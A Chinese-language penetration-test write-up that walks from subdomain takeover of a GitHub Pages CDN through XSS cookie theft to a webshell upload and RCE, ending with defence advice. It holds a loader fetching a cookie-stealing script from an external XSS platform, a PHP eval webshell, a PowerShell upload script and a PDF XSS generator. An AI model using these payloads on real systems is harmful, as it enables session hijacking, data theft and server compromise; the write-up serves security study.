【Web实战】一次从子域名接管到RCE的渗透经历
字数 1923 2025-08-10 08:28:37
从子域名接管到RCE的完整渗透实战教学
前言
本教学文档详细记录了一次从子域名接管到最终实现远程代码执行(RCE)的完整渗透过程。通过信息收集、漏洞挖掘、漏洞利用和权限提升等多个环节,展示了如何将多个看似简单的漏洞串联起来形成完整的攻击链。本文档将原渗透过程分解为可操作的步骤,适合安全研究人员学习Web应用渗透测试的思路和方法。
0x01 信息收集与数据泄露
1.1 初始目标发现
- 目标系统:OA登录页面
https://oa.website.com:9002 - 初步测试:尝试弱口令爆破未果
- 转向策略:前端代码审计
1.2 JavaScript文件审计技术
自动化下载JS文件工具:
import os
import requests
from bs4 import BeautifulSoup
from urllib.parse import urlparse, urljoin
# 配置参数
target_url = "https://example.com" # 目标URL
output_file = "js_links.txt" # 保存JS链接的文件
output_directory = "js_files" # 保存JS文件的目录
# 创建目录
os.makedirs(output_directory, exist_ok=True)
# 获取页面内容
response = requests.get(target_url)
if response.status_code == 200:
soup = BeautifulSoup(response.text, 'html.parser')
script_tags = soup.find_all('script')
# 提取JS链接
js_links = []
for script in script_tags:
src = script.get('src')
if src and src.endswith('.js'):
js_links.append(urljoin(target_url, src))
# 保存链接到文件
with open(output_file, 'w') as f:
for link in js_links:
f.write(link + '\n')
# 下载JS文件
for link in js_links:
filename = os.path.join(output_directory, os.path.basename(urlparse(link).path))
response = requests.get(link)
if response.status_code == 200:
with open(filename, 'wb') as f:
f.write(response.content)
1.3 敏感信息泄露漏洞
发现的关键API端点:
const userInfoXhr = new XMLHttpRequest();
userInfoXhr.open("GET", "https://api-url.com/userinfo?m=get&username=" + response.username, true);
漏洞特征:
- 仅需用户名即可访问
- 返回包含家庭住址、电话号码、身份证号码和工作单位等敏感信息
- 响应状态:
- 用户存在:返回200状态码和JSON数据
- 用户不存在:返回502状态码和错误信息
利用方法:
- 枚举有效用户名获取敏感信息
- 使用获取的信息生成针对性字典进行密码爆破
0x02 子域名接管攻击
2.1 发现潜在接管点
页面代码分析:
<head>
<script src="https://cdn1.site.com/js/jquery-2.2.4.min.js"></script>
<script src="https://cdn1.site.com/js/index.js"></script>
<!-- 注释提到"Github CDN XXX.github.io" -->
</head>
问题特征:
- CDN资源加载失败
- 注释提示GitHub Pages作为CDN使用
2.2 子域名接管步骤
-
DNS记录检查:
- 确认
cdn1.site.com解析到XXX.github.io - 访问
XXX.github.io返回404,用户不存在
- 确认
-
注册被释放的GitHub用户名:
- 检查用户名
XXX可用性 - 注册该用户名并创建同名仓库
- 检查用户名
-
设置GitHub Pages:
- 启用GitHub Pages服务
- 添加自定义域名
cdn1.site.com
-
上传恶意JS文件:
- 创建
jquery-2.2.4.min.js和index.js - 插入XSS payload
- 创建
-
验证接管成功:
- 访问OA系统,确认payload执行
- 确认域名控制权已获取
0x03 XSS漏洞利用获取Cookie
3.1 目标系统分析
简化登录页面逻辑:
<script>
document.getElementById("loginForm").addEventListener("submit", function (event) {
event.preventDefault();
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
// AES加密凭据
const encryptionKey = "yourEncryptionKey";
const encryptedUsername = CryptoJS.AES.encrypt(username, encryptionKey).toString();
const encryptedPassword = CryptoJS.AES.encrypt(password, encryptionKey).toString();
// 设置7天有效期的Cookie
const expirationDate = new Date();
expirationDate.setDate(expirationDate.getDate() + 7);
const cookieString = `username=${encodeURIComponent(encryptedUsername)}; password=${encodeURIComponent(encryptedPassword)}; expires=${expirationDate.toUTCString()}; path=/`;
document.cookie = cookieString;
window.location.href = "dashboard.html";
});
</script>
安全缺陷:
- Cookie校验仅检查存在性和有效期
- 无其他身份验证机制
3.2 XSS利用流程
-
搭建XSS平台:
- 配置接收Cookie的服务器
- 设置邮件和微信通知
-
注入恶意JS代码:
// 创建script元素加载XSS平台脚本 var scriptElement = document.createElement('script'); scriptElement.src = "//xms.la/U5"; document.head.appendChild(scriptElement); -
获取管理员Cookie:
- 等待管理员访问被篡改页面
- 通过XSS平台接收Cookie
-
Cookie重放攻击:
- 使用获取的Cookie直接访问后台
- 绕过登录验证机制
0x04 文件上传与RCE实现
4.1 备份文件分析
发现备份文件:
- 路径:
/Back/back2022.zip - 包含完整网站源代码
数据库配置泄露:
// connect_db.php
$db_host = 'localhost';
$db_user = 'root';
$db_pass = 'password123';
$db_name = 'oa_system';
限制条件:
- 仅允许本地连接
- 无法直接利用进行SQL注入
4.2 文件上传漏洞利用
发现的上传功能:
- 废弃的头像上传功能
- 文件类型检查仅依赖
$_FILES['pic']['type'] - 客户端可控的MIME类型验证
绕过上传限制的方法:
-
构造上传表单:
<form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="pic" id="pic" accept="image/jpeg, image/png, image/gif"> <input type="submit" value="上传图像"> </form> -
使用合法会话:
- 利用已获取的Cookie
- 避免直接调用接口需要处理复杂的key校验
-
上传WebShell:
- 修改文件名后缀为
.php - 内容包含一句话木马:
<?php eval($_POST['cmd']);?>
- 修改文件名后缀为
-
执行PowerShell上传脚本:
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession $session.UserAgent = "Mozilla/5.0..." $session.Cookies.Add((New-Object System.Net.Cookie("PHPSESSID", "value", "/", "rs.eist.site.com"))) Invoke-WebRequest -UseBasicParsing -Uri "http://rs.eist.site.com/admin/upload.php" -Method POST -WebSession $session -Headers @{ "Accept" = "text/html,application/xhtml+xml..." # 其他头信息 } -ContentType "multipart/form-data; boundary=..." -Body @" --boundary Content-Disposition: form-data; name="pic"; filename="shell.php" Content-Type: image/jpeg <?php eval($_POST['cmd']);?> --boundary-- "@ -
访问WebShell:
- 路径:
admin/touxiang/shell.php - 使用中国菜刀等工具连接
- 路径:
0x05 攻击链总结
-
信息收集阶段:
- JS文件审计发现敏感信息泄露
- 枚举用户名获取敏感数据
-
权限提升阶段:
- 发现子域名接管机会
- 注册GitHub账户接管CDN
- 注入XSS payload
-
横向移动阶段:
- 通过XSS获取管理员Cookie
- 访问后台系统发现备份文件
-
最终攻击阶段:
- 分析备份代码发现上传漏洞
- 绕过限制上传WebShell
- 获取服务器控制权限
防御建议
-
防止子域名接管:
- 定期检查DNS记录
- 及时释放不再使用的第三方服务关联
-
防止信息泄露:
- 敏感API增加身份验证
- 实施最小权限原则
-
防止XSS攻击:
- 实施严格的CSP策略
- 对用户输入进行过滤和转义
- 设置HttpOnly和Secure标志的Cookie
-
防止文件上传漏洞:
- 服务器端验证文件类型和内容
- 限制上传目录的执行权限
- 使用随机文件名存储上传文件
-
其他安全措施:
- 定期进行安全审计
- 实施完善的日志监控
- 保持系统和组件更新
附录:PDF XSS研究
虽然本次渗透中PDF XSS仅能实现弹窗,但作为一种攻击向量值得研究:
PDF XSS生成脚本:
from pdfrw import PdfWriter, PdfDict, PdfArray, PdfName, PdfString
def create_js_action(js_code):
return PdfDict(S=PdfName.JavaScript, JS=js_code)
def create_pdf_page(script):
page = PdfDict(
Type=PdfName.Page,
MediaBox=[0, 0, 612, 792],
AA=PdfDict(O=create_js_action(f"try{{{script}}}catch(e){{app.alert(e.message);}}"))
)
return page
# 使用示例
page = create_pdf_page('app.alert("XSS in PDF")')
PdfWriter().addpage(page).write('xss.pdf')
限制:
- Adobe Reader等现代PDF阅读器已加强安全限制
- 通常仅能在受控环境下实现简单弹窗
- 难以实现复杂的攻击载荷